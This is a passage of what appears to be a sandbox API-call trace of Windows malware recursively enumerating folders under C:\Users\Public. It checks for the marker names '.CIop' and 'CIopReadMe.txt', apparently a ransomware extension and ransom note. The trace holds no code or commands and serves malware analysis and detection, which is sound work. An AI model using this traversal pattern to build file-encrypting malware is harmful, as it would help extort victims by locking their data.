[0138.567] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.567] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.567] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Public\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.567] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0138.567] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0138.567] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0138.567] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0138.567] lstrlenW (lpString="desktop.ini") returned 11 [0138.568] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.568] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0138.568] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0138.568] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0138.568] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0138.568] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.568] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.568] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0138.568] SetErrorMode (uMode=0x1) returned 0x1 [0138.568] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0138.568] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0138.568] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\AccountPictures\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0138.568] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0138.568] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.568] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0138.568] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0138.568] lstrlenW (lpString="desktop.ini") returned 11 [0138.568] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0138.568] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0138.568] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.569] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0138.569] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0138.569] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.569] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0138.569] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0138.569] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.569] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.569] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0138.569] SetErrorMode (uMode=0x1) returned 0x1 [0138.569] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0138.569] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0138.569] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Desktop\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0138.569] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0138.569] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.569] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0138.569] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0138.569] lstrlenW (lpString="Desktop") returned 7 [0138.569] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0138.569] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0138.569] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0138.570] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.570] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0138.570] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0138.570] lstrlenW (lpString="Desktop") returned 7 [0138.570] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0138.570] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.570] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.570] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0138.570] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0138.570] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.570] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.570] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0138.570] SetErrorMode (uMode=0x1) returned 0x1 [0138.570] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0138.570] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0138.570] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Documents\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0138.570] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0138.570] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.571] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0138.571] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0138.571] lstrlenW (lpString="desktop.ini") returned 11 [0138.572] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0138.572] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0138.572] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.572] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0138.572] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0138.573] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0138.573] SetErrorMode (uMode=0x1) returned 0x1 [0138.573] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0138.573] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0138.573] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.573] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0138.573] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0138.573] lstrlenW (lpString=".CIop") returned 5 [0138.573] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.573] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.573] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.573] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0138.573] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.573] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0138.573] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0138.573] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0138.573] SetErrorMode (uMode=0x1) returned 0x1 [0138.573] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0138.573] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0138.573] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0138.574] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.574] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0138.574] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0138.574] lstrlenW (lpString=".CIop") returned 5 [0138.574] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.574] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.574] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.574] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0138.574] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0138.574] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.574] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0138.574] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0138.574] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0138.574] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0138.574] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0138.574] SetErrorMode (uMode=0x1) returned 0x1 [0138.574] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0138.574] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0138.574] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0138.574] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0138.574] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.574] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0138.574] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0138.574] lstrlenW (lpString=".CIop") returned 5 [0138.574] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.574] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.574] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.574] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0138.574] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0138.575] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.575] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0138.575] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0138.575] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.575] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0138.576] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0138.576] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.576] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.576] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0138.576] SetErrorMode (uMode=0x1) returned 0x1 [0138.576] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0138.576] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0138.576] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Downloads\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0138.576] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0138.576] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.576] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0138.576] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0138.576] lstrlenW (lpString="desktop.ini") returned 11 [0138.577] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0138.577] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0138.577] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.577] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0138.577] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0138.577] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.577] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0138.577] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0138.577] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.577] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.577] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0138.577] SetErrorMode (uMode=0x1) returned 0x1 [0138.578] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0138.578] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0138.578] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Libraries\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0138.578] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0138.578] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.578] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0138.578] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0138.578] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.578] lstrlenW (lpString="desktop.ini") returned 11 [0138.578] lstrlenW (lpString=".CIop") returned 5 [0138.578] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0138.578] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0138.578] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.578] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0138.578] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0138.579] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.579] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0138.579] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0138.579] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.579] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.579] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0138.579] SetErrorMode (uMode=0x1) returned 0x1 [0138.579] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0138.579] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0138.579] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Music\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0138.579] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0138.579] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.579] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0138.579] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0138.579] lstrlenW (lpString="desktop.ini") returned 11 [0138.579] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0138.579] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0138.579] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.579] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0138.579] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0138.580] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.580] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0138.580] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0138.580] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.580] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.580] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0138.580] SetErrorMode (uMode=0x1) returned 0x1 [0138.580] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0138.580] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0138.580] lstrcpyW (in: 